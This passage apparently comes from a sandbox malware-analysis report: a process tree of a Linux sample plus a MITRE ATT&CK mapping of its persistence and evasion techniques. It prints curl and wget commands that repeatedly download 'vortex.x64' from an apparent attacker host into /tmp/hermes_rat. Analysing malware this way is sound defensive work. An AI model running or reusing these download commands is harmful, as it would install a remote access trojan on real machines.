  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/vortex.x64 -o /tmp/hermes_rat
  2⤵
  - System Network Configuration Discovery
  PID:1106
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/vortex.x64 -O /tmp/hermes_rat
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1108
- /bin/sleep
  sleep 2
  2⤵
  PID:1109
- /usr/bin/curl
  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/vortex.x64 -o /tmp/hermes_rat
  2⤵
  - System Network Configuration Discovery
  PID:1110
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/vortex.x64 -O /tmp/hermes_rat
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1112
- /bin/sleep
  sleep 2
  2⤵
  PID:1113
- /bin/rm
  rm -f /tmp/41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
  2⤵
  PID:1114

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

Persistence

Account Manipulation

T1098

SSH Authorized Keys

T1098.004

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

Scheduled Task/Job

T1053

Cron

Privilege Escalation

Account Manipulation

T1098

SSH Authorized Keys

T1098.004

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

Scheduled Task/Job

T1053

Cron

Defense Evasion

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable